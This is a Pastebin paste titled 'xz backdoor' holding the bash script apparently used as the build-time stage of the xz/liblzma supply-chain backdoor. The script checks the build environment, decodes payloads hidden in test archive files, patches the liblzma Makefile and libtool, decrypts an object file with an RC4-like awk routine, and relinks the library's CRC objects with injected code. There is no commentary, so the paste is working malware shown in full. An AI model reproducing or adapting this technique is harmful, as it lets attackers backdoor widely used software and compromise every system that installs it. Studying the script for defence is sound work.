Advertisement
teknoraver

xz backdoor

Apr 4th, 2024
599
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 9.59 KB | None | 0 0
  1. P="-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"
  2. C="pic_flag=\" $P\""
  3. O="^pic_flag=\" -fPIC -DPIC\"$"
  4. R="is_arch_extension_supported"
  5. x="__get_cpuid("
  6. p="good-large_compressed.lzma"
  7. U="bad-3-corrupt_lzma2.xz"
  8. [ ! $(uname)="Linux" ] && exit 0
  9. eval $zrKcVq
  10. if test -f config.status; then
  11. eval $zrKcSS
  12. eval `grep ^LD=\'\/ config.status`
  13. eval `grep ^CC=\' config.status`
  14. eval `grep ^GCC=\' config.status`
  15. eval `grep ^srcdir=\' config.status`
  16. eval `grep ^build=\'x86_64 config.status`
  17. eval `grep ^enable_shared=\'yes\' config.status`
  18. eval `grep ^enable_static=\' config.status`
  19. eval `grep ^gl_path_map=\' config.status`
  20. vs=`grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null`
  21. if test "x$vs" != "x" > /dev/null 2>&1;then
  22. f1=`echo $vs | cut -d: -f1`
  23. if test "x$f1" != "x" > /dev/null 2>&1;then
  24. start=`expr $(echo $vs | cut -d: -f2) + 7`
  25. ve=`grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null`
  26. if test "x$ve" != "x" > /dev/null 2>&1;then
  27. f2=`echo $ve | cut -d: -f1`
  28. if test "x$f2" != "x" > /dev/null 2>&1;then
  29. [ ! "x$f2" = "x$f1" ] && exit 0
  30. [ ! -f $f1 ] && exit 0
  31. end=`expr $(echo $ve | cut -d: -f2) - $start`
  32. eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
  33. fi
  34. fi
  35. fi
  36. fi
  37. eval $zrKccj
  38. if ! grep -qs '\["HAVE_FUNC_ATTRIBUTE_IFUNC"\]=" 1"' config.status > /dev/null 2>&1;then
  39. exit 0
  40. fi
  41. if ! grep -qs 'define HAVE_FUNC_ATTRIBUTE_IFUNC 1' config.h > /dev/null 2>&1;then
  42. exit 0
  43. fi
  44. if test "x$enable_shared" != "xyes";then
  45. exit 0
  46. fi
  47. if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then
  48. exit 0
  49. fi
  50. if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc64_fast.c > /dev/null 2>&1; then
  51. exit 0
  52. fi
  53. if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc32_fast.c > /dev/null 2>&1; then
  54. exit 0
  55. fi
  56. if ! grep -qs "$R" $srcdir/src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; then
  57. exit 0
  58. fi
  59. if ! grep -qs "$x" $srcdir/src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; then
  60. exit 0
  61. fi
  62. if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
  63. exit 0
  64. fi
  65. if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
  66. exit 0
  67. fi
  68. LDv=$LD" -v"
  69. if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
  70. exit 0
  71. fi
  72. if ! test -f "$srcdir/tests/files/$p" > /dev/null 2>&1;then
  73. exit 0
  74. fi
  75. if ! test -f "$srcdir/tests/files/$U" > /dev/null 2>&1;then
  76. exit 0
  77. fi
  78. if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then
  79. eval $zrKcst
  80. j="^ACLOCAL_M4 = \$(top_srcdir)\/aclocal.m4"
  81. if ! grep -qs "$j" src/liblzma/Makefile > /dev/null 2>&1;then
  82. exit 0
  83. fi
  84. z="^am__uninstall_files_from_dir = {"
  85. if ! grep -qs "$z" src/liblzma/Makefile > /dev/null 2>&1;then
  86. exit 0
  87. fi
  88. w="^am__install_max ="
  89. if ! grep -qs "$w" src/liblzma/Makefile > /dev/null 2>&1;then
  90. exit 0
  91. fi
  92. E=$z
  93. if ! grep -qs "$E" src/liblzma/Makefile > /dev/null 2>&1;then
  94. exit 0
  95. fi
  96. Q="^am__vpath_adj_setup ="
  97. if ! grep -qs "$Q" src/liblzma/Makefile > /dev/null 2>&1;then
  98. exit 0
  99. fi
  100. M="^am__include = include"
  101. if ! grep -qs "$M" src/liblzma/Makefile > /dev/null 2>&1;then
  102. exit 0
  103. fi
  104. L="^all: all-recursive$"
  105. if ! grep -qs "$L" src/liblzma/Makefile > /dev/null 2>&1;then
  106. exit 0
  107. fi
  108. m="^LTLIBRARIES = \$(lib_LTLIBRARIES)"
  109. if ! grep -qs "$m" src/liblzma/Makefile > /dev/null 2>&1;then
  110. exit 0
  111. fi
  112. u="AM_V_CCLD = \$(am__v_CCLD_\$(V))"
  113. if ! grep -qs "$u" src/liblzma/Makefile > /dev/null 2>&1;then
  114. exit 0
  115. fi
  116. if ! grep -qs "$O" libtool > /dev/null 2>&1;then
  117. exit 0
  118. fi
  119. eval $zrKcTy
  120. b="am__test = $U"
  121. sed -i "/$j/i$b" src/liblzma/Makefile || true
  122. d=`echo $gl_path_map | sed 's/\\\/\\\\\\\\/g'`
  123. b="am__strip_prefix = $d"
  124. sed -i "/$w/i$b" src/liblzma/Makefile || true
  125. b="am__dist_setup = \$(am__strip_prefix) | xz -d 2>/dev/null | \$(SHELL)"
  126. sed -i "/$E/i$b" src/liblzma/Makefile || true
  127. b="\$(top_srcdir)/tests/files/\$(am__test)"
  128. s="am__test_dir=$b"
  129. sed -i "/$Q/i$s" src/liblzma/Makefile || true
  130. h="-Wl,--sort-section=name,-X"
  131. if ! echo "$LDFLAGS" | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then
  132. h=$h",-z,now"
  133. fi
  134. j="liblzma_la_LDFLAGS += $h"
  135. sed -i "/$L/i$j" src/liblzma/Makefile || true
  136. sed -i "s/$O/$C/g" libtool || true
  137. k="AM_V_CCLD = @echo -n \$(LTDEPS); \$(am__v_CCLD_\$(V))"
  138. sed -i "s/$u/$k/" src/liblzma/Makefile || true
  139. l="LTDEPS='\$(lib_LTDEPS)'; \\\\\n\
  140.    export top_srcdir='\$(top_srcdir)'; \\\\\n\
  141.    export CC='\$(CC)'; \\\\\n\
  142.    export DEFS='\$(DEFS)'; \\\\\n\
  143.    export DEFAULT_INCLUDES='\$(DEFAULT_INCLUDES)'; \\\\\n\
  144.    export INCLUDES='\$(INCLUDES)'; \\\\\n\
  145.    export liblzma_la_CPPFLAGS='\$(liblzma_la_CPPFLAGS)'; \\\\\n\
  146.    export CPPFLAGS='\$(CPPFLAGS)'; \\\\\n\
  147.    export AM_CFLAGS='\$(AM_CFLAGS)'; \\\\\n\
  148.    export CFLAGS='\$(CFLAGS)'; \\\\\n\
  149.    export AM_V_CCLD='\$(am__v_CCLD_\$(V))'; \\\\\n\
  150.    export liblzma_la_LINK='\$(liblzma_la_LINK)'; \\\\\n\
  151.    export libdir='\$(libdir)'; \\\\\n\
  152.    export liblzma_la_OBJECTS='\$(liblzma_la_OBJECTS)'; \\\\\n\
  153.    export liblzma_la_LIBADD='\$(liblzma_la_LIBADD)'; \\\\\n\
  154. sed rpath \$(am__test_dir) | \$(am__dist_setup) >/dev/null 2>&1";
  155. sed -i "/$m/i$l" src/liblzma/Makefile || true
  156. eval $zrKcHD
  157. fi
  158. elif (test -f .libs/liblzma_la-crc64_fast.o) && (test -f .libs/liblzma_la-crc32_fast.o); then
  159. vs=`grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null`
  160. if test "x$vs" != "x" > /dev/null 2>&1;then
  161. f1=`echo $vs | cut -d: -f1`
  162. if test "x$f1" != "x" > /dev/null 2>&1;then
  163. start=`expr $(echo $vs | cut -d: -f2) + 7`
  164. ve=`grep -broaF '%.R.1Z' $top_srcdir/tests/files/ 2>/dev/null`
  165. if test "x$ve" != "x" > /dev/null 2>&1;then
  166. f2=`echo $ve | cut -d: -f1`
  167. if test "x$f2" != "x" > /dev/null 2>&1;then
  168. [ ! "x$f2" = "x$f1" ] && exit 0
  169. [ ! -f $f1 ] && exit 0
  170. end=`expr $(echo $ve | cut -d: -f2) - $start`
  171. eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
  172. fi
  173. fi
  174. fi
  175. fi
  176. eval $zrKcKQ
  177. if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc64_fast.c; then
  178. exit 0
  179. fi
  180. if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc32_fast.c; then
  181. exit 0
  182. fi
  183. if ! grep -qs "$R" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then
  184. exit 0
  185. fi
  186. if ! grep -qs "$x" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then
  187. exit 0
  188. fi
  189. if ! grep -qs "$C" ../../libtool; then
  190. exit 0
  191. fi
  192. if ! echo $liblzma_la_LINK | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then
  193. exit 0
  194. fi
  195. if echo $liblzma_la_LINK | grep -qs -e "lazy" > /dev/null 2>&1;then
  196. exit 0
  197. fi
  198. N=0
  199. W=0
  200. Y=`grep "dnl Convert it to C string syntax." $top_srcdir/m4/gettext.m4`
  201. eval $zrKcjv
  202. if test -z "$Y"; then
  203. N=0
  204. W=88664
  205. else
  206. N=88664
  207. W=0
  208. fi
  209. xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
  210. if ! test -f liblzma_la-crc64-fast.o; then
  211. exit 0
  212. fi
  213. cp .libs/liblzma_la-crc64_fast.o .libs/liblzma_la-crc64-fast.o || true
  214. V='#endif\n#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))\nextern int _get_cpuid(int, void*, void*, void*, void*, void*);\nstatic inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }\n#else\n#define _is_arch_extension_supported is_arch_extension_supported'
  215. eval $yosA
  216. if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc64_fast.c | \
  217. sed "/include \"crc_x86_clmul.h\"/a \\$V" | \
  218. sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc64_fast.c\"" 2>/dev/null | \
  219. $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r liblzma_la-crc64-fast.o -x c -  $P -o .libs/liblzma_la-crc64_fast.o 2>/dev/null; then
  220. cp .libs/liblzma_la-crc32_fast.o .libs/liblzma_la-crc32-fast.o || true
  221. eval $BPep
  222. if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc32_fast.c | \
  223. sed "/include \"crc32_arm64.h\"/a \\$V" | \
  224. sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc32_fast.c\"" 2>/dev/null | \
  225. $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r -x c -  $P -o .libs/liblzma_la-crc32_fast.o; then
  226. eval $RgYB
  227. if $AM_V_CCLD$liblzma_la_LINK -rpath $libdir $liblzma_la_OBJECTS $liblzma_la_LIBADD; then
  228. if test ! -f .libs/liblzma.so; then
  229. mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
  230. mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
  231. fi
  232. rm -fr .libs/liblzma.a .libs/liblzma.la .libs/liblzma.lai .libs/liblzma.so* || true
  233. else
  234. mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
  235. mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
  236. fi
  237. rm -f .libs/liblzma_la-crc32-fast.o || true
  238. rm -f .libs/liblzma_la-crc64-fast.o || true
  239. else
  240. mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
  241. mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
  242. fi
  243. else
  244. mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
  245. fi
  246. rm -f liblzma_la-crc64-fast.o || true
  247. fi
  248. eval $DHLd
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement